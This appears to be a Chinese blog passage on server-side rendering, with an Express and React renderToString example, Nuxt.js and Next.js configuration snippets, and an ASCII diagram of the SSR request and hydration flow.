React SSR 实现

javascript 复制代码
// server.js
import express from 'express';
import React from 'react';
import { renderToString } from 'react-dom/server';
import App from './App';

const app = express();

app.get('*', (req, res) => {
  const html = renderToString(
    <React.StrictMode>
      <App />
    </React.StrictMode>
  );
  
  res.send(`
    <!DOCTYPE html>
    <html>
      <head><title>SSR App</title></head>
      <body>
        <div id="root">${html}</div>
        <script src="/client.js"></script>
      </body>
    </html>
  `);
});

app.listen(3000);

Nuxt.js / Next.js

javascript 复制代码
// Nuxt.js (Vue)
// nuxt.config.js
export default {
  ssr: true,
  target: 'server'
}

// Next.js (React)
// next.config.js
module.exports = {
  // SSR 默认开启
}

// 页面组件
export async function getServerSideProps(context) {
  const data = await fetchData();
  return { props: { data } };
}

SSR 架构

css 复制代码
┌──────────┐     ┌──────────┐     ┌──────────┐
│  浏览器   │────>│  服务端   │────>│  数据库   │
│          │<────│          │<────│          │
└──────────┘ HTML└──────────┘     └──────────┘
     │
     │ hydrate
     ▼
┌──────────┐
│  客户端   │
│  (SPA)   │
└──────────┘

相关推荐
walking9571 小时前
重新学习前端之TypeScript
前端·javascript·面试
walking9571 小时前
重新学习前端之Linux
前端·vue.js·面试
walking9571 小时前
重新学习前端之CSS
前端·vue.js·面试
walking9571 小时前
重新学习前端之Git
前端·vue.js·面试
walking9571 小时前
重新学习前端之小程序
前端
魔术师Grace1 小时前
AI让我退化成原始人了
前端·程序员
铁皮饭盒1 小时前
今天你会学到这些关键词
前端·后端
李剑一1 小时前
耗时 2 小时!我复刻了全网超火的通透 3D 水晶球动效,Vue3+Three.js 做出高级视觉特效
前端·three.js
oil欧哟2 小时前
🤔 很长时间没写文章了,分享一下最近的一些思考
前端·后端